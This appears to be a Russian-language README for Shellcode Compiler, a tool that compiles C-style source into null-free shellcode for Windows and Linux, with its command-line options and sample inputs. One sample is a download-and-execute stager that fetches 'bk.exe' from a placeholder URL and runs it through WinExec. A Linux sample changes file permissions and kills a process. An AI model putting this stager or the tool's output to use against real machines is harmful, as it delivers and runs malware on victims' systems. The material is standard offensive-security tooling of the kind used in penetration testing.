
Компилятор шеллкода
Shellcode Compiler — это программа, которая компилирует код в стиле C/C++ в небольшой, позиционно-независимый и не содержащий NULL шеллкод для Windows (x86 и x64) и Linux (x86 и x64). Можно вызывать любую функцию Windows API или системный вызов Linux удобным способом.
Shellcode Compiler принимает на вход исходный файл и использует собственный компилятор для интерпретации кода и генерации файла ассемблера, который собирается с помощью движка Keystone.
-h (--help) : Показать это справочное сообщение
-p (--platform) : Платформа шеллкода: win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : Выводить подробную информацию
-t (--test) : Протестировать (выполнить) сгенерированный шеллкод
-r (--read) : Читать исходный файл
-o (--output) : Выходной файл сгенерированного бинарного шеллкода
-a (--assembbly) : Выходной файл сгенерированного кода ассемблера
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
Существует и множество других ограничений. Это альфа-версия. Пожалуйста, сообщайте об ошибках и предложениях.
Ionut Popescu (@NytroRST)